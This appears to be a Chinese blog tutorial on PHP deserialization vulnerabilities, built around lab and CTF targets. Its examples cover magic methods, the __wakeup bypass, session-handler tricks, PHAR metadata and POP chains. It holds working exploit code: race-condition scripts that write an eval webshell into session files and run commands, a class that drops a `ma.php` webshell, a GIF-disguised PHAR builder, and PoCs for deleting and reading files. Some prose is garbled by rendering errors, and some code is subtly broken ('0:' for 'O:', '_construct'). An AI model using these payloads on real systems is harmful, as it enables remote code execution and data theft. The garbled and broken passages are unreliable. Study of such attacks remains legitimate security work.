反序列化漏洞详解

一、基础知识

1、序列化

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,序列化的目的是方便数据的传输和存储。在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的序列化格式:

  • 二进制格式
  • 字节数组
  • json字符串
  • xml字符串

比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
序列化后字符串意义解释:
变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}

序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为:\x00*\x00变量名
public变量会被序列化为:变量名

2、反序列化

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

二、漏洞利用

1、魔术方法

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

 常见的几个魔法函数:
        __construct()当一个对象创建时被调用
        __destruct()当一个对象销毁时被调用
        __toString()当一个对象被当作一个字符串使用
        __sleep() 在对象在被序列化之前运行
        __wakeup将在序列化之后立即被调用
        __get()用于从不可访问的属性读取数据

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他魔术方法

在这里插入图片描述

<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}echo '<br>new了一个对象,对象被创建,执行__construct</br>';
$test = new Test();echo '<br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest = serialize($test);echo '<br>__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。</br>';
$usTest = unserialize($sTest);echo '<br>把Test对象当做字符串使用,执行__toString</br>';
$string = 'use Test obj as str '.$test;echo '<br>程序执行完毕,对象自动销毁,执行__destruct</br>';?>

2、利用方式

强调几个注意点:

1.不要为了方便直接修改序列化字符串,因为可能导致字符串长度和实际字符串长度不一致,进而导致无法正确反序列化

建议将类拷贝下来,用序列化函数生成

2.一些进一步渗透的思路:

  1. 尝试是否可以写入shell
  2. 尝试读取当前目录下的有哪些文件
  3. 尝试读取所有文件的源码
import requests
import threading
 
url = "http://web.jarvisoj.com:32784/phpinfo.php"
headers = {
    "Cookie": "PHPSESSID=icancontrolit"
}
files = {
    "myfile": ("file.jpg", open("class.php", "rb")),
}
payload = '|O:5:"OowoO":1:{s:4:"mdzz";s:14:"var_dump(123);";}'
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}"
data = {
    "PHP_SESSION_UPLOAD_PROGRESS":payload,
}
resp = requests.post(url=url, files=files, headers=headers, data=data)
# print(resp.text)
url = "http://web.jarvisoj.com:32784"
resp = requests.get(url,headers=headers);
print(resp.text)

2.1、__wakeup( )绕过

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

影响版本:

  • PHP before 5.6.25
  • 7.x before 7.0.10

在这里插入图片描述

如果使用正常的方法构造payload

url?text=0:1:"A":1:{s:6:"taget";s:18:"<?php phpinfo();?>";}

__wakeup( )把$taget重置成wakeup!

在这里插入图片描述

令属性个数的值大于1

url?text=0:1:"A":2:{s:6:"taget";s:18:"<?php phpinfo();?>";}

成功执行 phpinfo()

2.2、注入对象构造方法

当目标对象被private、protected修饰时的构造方法。

在这里插入图片描述

当目标被private修饰时,序列化结果:
0:1:"A":2:{s:9:"%00A%00taget";s:12:"w2t3rp2dd13r";}
当目标被protected修饰时,序列化结果:
0:1:"A":2:{s:9:"%00*%00taget";s:12:"w2t3rp2dd13r";}
注意:%00
%00A%00长度3
同名方法的利用
<?php
class A{
    var $target;
    function _construct(){
        $this->target=new B;
    }
    function _destruct(){
        $this->target->action();
    }
}
class B{
    var $test;
    function action(){
        echo "action A";
    }
}
class C{
    var $test;
    function action(){
        echo "action C";
        eval($this->test);
    }
}

$user_data = unserialize($_GET['data']);

echo $user_data;
?>

这个例子中,class B和class C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class C的action方法,实现任意代码执行。

构造代码:

<?php
class A{
    var $target;
    function _construct(){
        $this->target=new C;
        $this->target->test="phpinfo();";
    }
    function _destruct(){
        $this->target->action();
    }
}
class C{
    var $test;
    function action(){
        echo "action A";
        eval($this->test);
    }
}
echo serialize(new A);
?>
输出:
0:1:"A":1:{s:6:"taget";0:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

2.3、Session反序列化漏洞

Session反序列化漏洞

PHP中的Session经序列化后存储,读取时再进行反序列化。

相关配置:

session.save_path=“” //设置session的存储路径

session.save_handler=“” //设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.auto_start boolen //指定会话模块是否在请求开始时启动一个会话默认为0不启动

session.serialize_handler string//定义用来序列化/反序列化的处理器名字。默认使用php

PHP中有三种序列化处理器,如下表所示:

serializer实现方法
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize把整个$_SESSION数组作为一个数组序列化

不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。

下面演示漏洞利用:

<?php
//demo1.php
ini_set("session.serialize_handler","php");
session_start();
class demo3{
    var $test='test';
    function _wakeup(){
        echo "wakeup";
    }
    function _destruct(){
        echo $this->test;
    }
}
?>

该页面中有类demo3,开启session,并用php处理器处理session。

<?php
//session.php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test']=$_GET["test"];
echo session_id();
?>
<?php
//generate.php
class demo3{
    var $test="w2t3rp2dd13r";
}
echo serialize(new demo3);
?>

通过session.php设置session,通过generate.php构造实例。

由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。

实例构造:

0:1:"demo3":1:{s:9:"test";s:12:"w2t3rp2dd13r";}
在serialize()的结果前加|,当使用php处理器时会把|后的内容反序列化,从而调用demo3.php中的_wakeup()方法和_destruct()。
payload:|0:1:"demo3":1:{s:9:"test";s:12:"w2t3rp2dd13r";}

在这里插入图片描述

在这里插入图片描述

extract,字符逃逸 session反序列化的另类

字符逃逸:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

extract的覆盖数组的操作比如能够覆盖SESSION这个全局数组!

extract($_POST);

我们post值,POC:_SESSION[flag]=122。这个为什么没有 但是 有 呢 ??就是 p o s t 传参么。 n a m e = a d a m 。完事后就是 但是有 _ 呢??就是post传参么。 name=adam。完事后就是 但是??就是post传参么。name=adam。完事后就是name=‘adam’ 。这样,所以那个传参就是这个样子了。

如果有filter,可以考虑字符逃逸 :

filter过滤'php','flag','php5','php4','fl1g'
"a:2:{s:7:"phpflag";s:44:";s:4:"fake";s:3:"img";s:10:"d0g3_f1ag.php";}"
过滤后
"a:2:{s:7:"";s:44:";s:4:"fake";s:3:"img";s:10:"d0g3_f1ag.";}";s:5:"la ji";}“
s:7:"";s:44:";s:4:"fake";即键名叫";s:44: 对应的值为一个字符串"fake"

参考:https://www.freebuf.com/articles/web/285985.html

2.4、PHAR利用

2.4.1、PHAR简介

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

2.4.2、PHAR文件结构

PHAR文件由3或4个部分组成:

(1)stub //PHAR文件头

stub就是一个简单的php文件,最简文件头为:

<?php __HALT_COMPILER( );?>是可有可无的,若使用?>,则;与?>间至多一个空格。

文件头中必须包含__HALT_COMPILER();除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)

(2)manifest describing the contents //PHAR文件描述该部分存储文件名、文件大小等信息,如下图所示。

在这里插入图片描述

图中标出的地方,存储了经serialize( )的Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点。

(3)the file contents

PHAR文件内容

4)[optional] a signature for verifying Phar integrity (phar file format only) //可选的签名部分,支持MD5和SHA1

在这里插入图片描述

2.4.3、攻击方法

PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何文件系统函数首次通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。

利用前提:按理说,攻击者要能够向服务器上传一个phar文件,但其实可以将phar文件的后缀直接修改为jpg(phar://仍然可以正常反序列化),所以只需要一个文件上传功能即可。

其次,目标站点需要有文件包含漏洞,并且有漏洞的脚本必须包含一个我们可以利用的类

如果是include() fopen(), file_get_contents(), file() 等这类的文件包含漏洞,如果攻击者可以完全控制文件路径的话,显然存在高危漏洞,彰显不出phar://的意义

phar://意义在于,所有和文件操作相关的函数,如果传入phar://内容为phar格式的文件,都会触发反序列化

包括一系列看似安全的函数,例如:

file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

漏洞利用条件:

在目标系统上投放一个装在payload的可访问的PHAR文件,通过文件系统函数利用phar://伪协议解析目标PHAR文件。

下面演示利用过程:

先创建一个PHAR文件。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
class TestObject{
}
$phar=new Phar("phar.phar");//后缀名必须是phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o=new TestObject();
$o->date='hu3sky';
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问phar.php,在同目录下生成phar.phar文件。

在这里插入图片描述

箭头标出Meta-data部分,可以看到为序列化后结果。

示例

<?php
class AnyClass {
	function __destruct() {
		echo $this->data;
	}
}
file_exists($_GET['file']);

利用:

?file=phar://test.jpg

由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测。

示例代码:

<?php
class TestObject{
}
@unlink("phar.phar");
$phar=new Phar("phar.phar");//后缀名必须是phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$o=new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

2.5、利用session.upload_progress进行文件包含和反序列化渗透

php中的session.upload_progress

session.upload_progress这个功能在php5.4添加的

在php.ini有以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

其实这里,我们只需要了解前四个配置选项即可,嘿嘿嘿,下面依次讲解。

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

session相关配置及session反序列化

session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。

利用session.upload_progress进行文件包含利用

测试环境

php5.5.38

win10

关于session相关的一切配置都是默认值

示例代码

<?php
$b=$_GET['file'];
include "$b";
?>

可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

问题一

代码里没有session_start(),如何创建session文件呢。

解答一

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

问题二

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

如何进行rce呢?

解答二

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

利用脚本

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
flag=1
def write(session):
    while True:
        if flag==0:
            break
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://192.168.220.146/session.upload_progress/include.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://192.168.220.146/session.upload_progress/include.php?file=../../tmp/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
            flag=0
            break
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

效果如下图

在这里插入图片描述

利用条件

  1. 存在文件包含漏洞

  2. 知道session文件存放路径,可以尝试默认路径

  3. 具有读取和写入session文件的权限

利用session.upload_progress进行反序列化攻击

测试环境

php5.5.38

win10

session.serialize_handler=php_serialize,其余session相关配置为默认值

示例代码

<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
    public $handle;

    function __construct() {
        $this->handle=new TimeNow();
    }

    function __destruct() {
        $this->handle->action();
    }
}
class TimeNow {
    function action() {
        echo "你的访问时间:"."  ".date('Y-m-d H:i:s',time());
    }
}
class  IP{
    public $ip;
    function __construct() {
        $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
    }
    function action() {
        eval($this->ip);
    }
}
?>

问题一

整个代码没有参数可控的地方。通过什么方法来进行反序列化利用呢

解答一

这里,利用PHP_SESSION_UPLOAD_PROGRESS上传文件,其中利用文件名可控,从而构造恶意序列化语句并写入session文件。

另外,与文件包含利用一样,也需要进行竞争。

利用脚本

首先利用exp.php脚本构造恶意序列化语句

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
    public $handle;

    function __construct() {
        $this->handle = new IP();
    }

    function __destruct() {
        $this->handle->action();
    }
}
class TimeNow {
    function action() {
        echo "你的访问时间:"."  ".date('Y-m-d H:i:s',time());
    }
}

class  IP{
    public $ip;
    function __construct() {
        //$this->ip='payload';
        $this->ip='phpinfo();';
        //$this->ip='print_r(scandir('/'));';
    }
    function action() {
        eval($this->ip);
    }
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>

其此利用exp.py脚本进行竞争

import requests
import threading
import io

def exp(url):
    f = io.BytesIO(b'a' * 1024 * 1024 * 1)
    while True:
        et.wait()
        url = url
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'DNT': '1',
            'Cookie': 'PHPSESSID=20190506',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1'
        }
        proxy = {
            'http': '127.0.0.1:8080'
        }
        data = {'PHP_SESSION_UPLOAD_PROGRESS': '123'}
        files = {
            'file': (
            r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo();\";}}', f, 'text/plain')
        }
        resp = requests.post(url, headers=headers, data=data, files=files)  # ,proxies=proxy
        resp.encoding = "utf-8"
        if len(resp.text) < 2000:
            print('[+++++]retry')
        else:
            print(resp.content.decode('utf-8').encode('utf-8'))
            et.clear()
            print('success!')


if __name__ == "__main__":
    url = "http://192.168.220.135/session.upload_progress/serialize.php"
    et = threading.Event()
    for i in range(1, 40):
        threading.Thread(target=exp, args=(url,)).start()
    et.set()

首先在代码里加个代理,利用burp抓包

这里有几个注意点:

PHPSESSID必须要有,因为要竞争同一个文件

filename可控,但是在值的最前面加上|,因为最终目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS只是个跳板。其次把字符串中的双引号转义,以防止与最外层的双引号冲突

上传的文件要大些,否则很难竞争成功。我写入是这么大f = io.BytesIO(b'a' * 1024 *1024*1)

filename值中出现汉字时,会出错,所以在利用脚本前,一定要修改python源码

最后把exp.py中的代理去掉,直接跑exp.py,效果如下。

几次失败尝试

利用条件主要是存在session反序列化漏洞。

从文件包含和反序列化两个利用点,可以发现,利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤,而且传输的数据也不易发现。

2.6、POP CHAIN(POP链):

通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即

用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作

实例解析1:

源码:

<?php
class Test1{
	protected $obj;
	function __construct(){
		$this->obj = new Test3;
	}
	function __toString(){
		if (isset($this->obj)) return $this->obj->Delete();
	}
}

class Test2{  
	public $cache_file;
	function Delete(){
		$file =/var/www/html/cache/tmp/{$this->cache_file};
		if (file_exists($file)){
			@unlink($file);
		}
		return 'I am a evil Delete function';
	}
}

class Test3{
	function Delete(){
		return 'I am a safe Delete function';
	}
}

$user_data = unserialize($_GET['data']);
echo $user_data;
?>

POP链构造:

首先出发点是Test1中的__tostring()魔术方法,其中调用了 t h i s − > o b j 中的 D e l e t e ( ) 函数,而 this->obj中的Delete()函数,而 this>obj中的Delete()函数,而this->obj是在实例化对象是触发__construct方法,将$this->obj作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下

Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法

不过在Test2类中也定义了和Test3中同名的函数Delete(),那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下

Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法

那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术方法,并且此方法中调用Test2中的Delete()方法,造成任意文件删除的危害。

利用POC:

<?php
class Test1{
	protected $obj;
	function __construct(){
		$this->obj = new Test2;
	}
}

class Test2{
	public $cache_file = '../../../../test.php';
}

$evil = new Test1();
echo urlencode(serialize($evil));
?>

实例解析2:

源码:

Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
	protected  $var;
    
	public function append($value){
		include($value);
	}
    
	public function __invoke(){
		$this->append($this->var);
	}
}

class Show{
	public $source;
	public $str;
	public function __construct($file='index.php'){
		$this->source = $file;
		echo 'Welcome to '.$this->source."<br>";
	}
	public function __toString(){
		return $this->str->source;
	}

	public function __wakeup(){
		if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
			echo "hacker";
			$this->source = "index.php";
		}
	}
}

class Test{
	public $p;
	public function __construct(){
		$this->p = array();
	}

	public function __get($key){
		$function = $this->p;
		return $function();
	}
}

if(isset($_GET['pop'])){
	@unserialize($_GET['pop']);
}
else{
	$a=new Show;
	highlight_file(__FILE__);
}

POP链构造:

由于本题是一道CTF题目,我们的目标是获得flag,提示flag在flag.php里,通过对三个类的代码分析,可以读取到flag的地方只有append( v a l u e ) 方法,操作是 i n c l u d e ( value)方法,操作是include( value)方法,操作是include(value),可以利用伪协议来读取flag.php内容。

由于这道题目只有include那里可以利用,那么我们从那里反推

一.要想利用include,需要使用__invoke()来触发,而这个魔术方法的触发条件是,以调用函数的方式调用一个对象,那么我们找哪里可以满足这个条件。

二.在对Test类代码分析的第三条中,__get()魔术方法以 f u n c i o n ( ) 函数返回 funcion()函数返回 funcion()函数返回this->p,**我们需要将 t h i s − > p 设置为 M o d i f i e r 的实例化对象 ∗ ∗ ,那么而且上面对 this->p设置为Modifier的实例化对象**,那么而且上面对 this>p设置为Modifier的实例化对象,那么而且上面对this->p赋值的操作是__construct()控制,也就是说是我们可控的,那么就看如何利用__get()

三.要想利用Test类中的__get()魔术方法,也需要我们用一定的条件触发,从不可访问的属性读取数据时触发,那么符合的只有Show类中的__toString(),需要将$this->str设置为Test类的实例化对象

四.触发__toString()的条件是:__toString() 当一个类被当成字符串使用时触发,那么在本类中的__wakeup()魔术方法中的preg_match就正好可以触发,也就是KaTeX parse error: Expected group after '_' at position 33: …ow类的实例化对象,也就需要在_̲_construct()时就设…file为Show的实例化对象

那么整体的pop链应该是如下的

Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()<--Show::__construct()

利用POC:

<?php
class Modifier {
	protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}

class Show{
	public $source;
	public $str;
	public function __construct($file){
		$this->source = $file;
	}
}

class Test{
	public $p;
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

三、杂项

1、木马

class.php

<?php
class Peiqi{
    public $meat ="233";
    function __wakeup(){
        echo "I am wakeup";
        $payload = '<?php eval($_GET[1]);?>';
        $ret = file_put_contents("ma.php",$payload);
        if($ret){
            echo "木马写入成功!";
        }else{
            echo "木马写入失败";
        }
      
    }
    function __destruct(){
        echo $this->meat;
 
    }
}

生成payload

<?php
 
require 'class.php';
$p = new Peiqi();
$p->meat ="12333213";
$payload = serialize($p);
echo $payload."\n";
 

发送payload

<?php
 
//发送get请求,并接受响应,如果响应中包含cookie就存储下来,随后发送请求时,带上之前收到的cookie
function get($url){
    $cookie_file = "cookie.txt";
    $ch = curl_init($url); //初始化
    curl_setopt($ch, CURLOPT_HEADER, 0); //不返回header部分
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //返回字符串,而非直接输出
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); //使用上面获取的cookies
    curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file); //存储cookies
    $resp = curl_exec($ch);
    curl_close($ch);
    return $resp;
}
 
$payload = '|O:5:"Peiqi":1:{s:4:"meat";s:8:"12333213";}';
$base_url = "http://127.0.0.1:8888/loophole-recurrence/Serialize/";
 
//用php_searialzie 存储session
$save_url = $base_url."session_phpserialize.php?u=".$payload;
$resp  = get($save_url);
var_dump($resp);
//用php 访问上次存储的session
$read_url = $base_url."session_php.php";
$resp = get($read_url);
var_dump($resp);

2、靶场源码

 //flag in ./flag.php 
<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<html>
<head>
</head>
 
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>
</ul>
 
<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form> 

payload:

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
   $s = new readme();
   $s->source = "flag.php";
   $s = [$s];
   echo serialize($s);
}
 
//a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//MD5加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//url加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
?>

3、查看当前目录

查看当前目录文件

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

查看当前目录

在这里插入图片描述

session反序列化

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

所以可以通过Session Upload Progress来设置session

我们在html网页源码上加入以下代码

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量)

参考链接:https://www.freebuf.com/articles/network/197496.html

​ https://www.freebuf.com/vuls/202819.html

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huang0c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值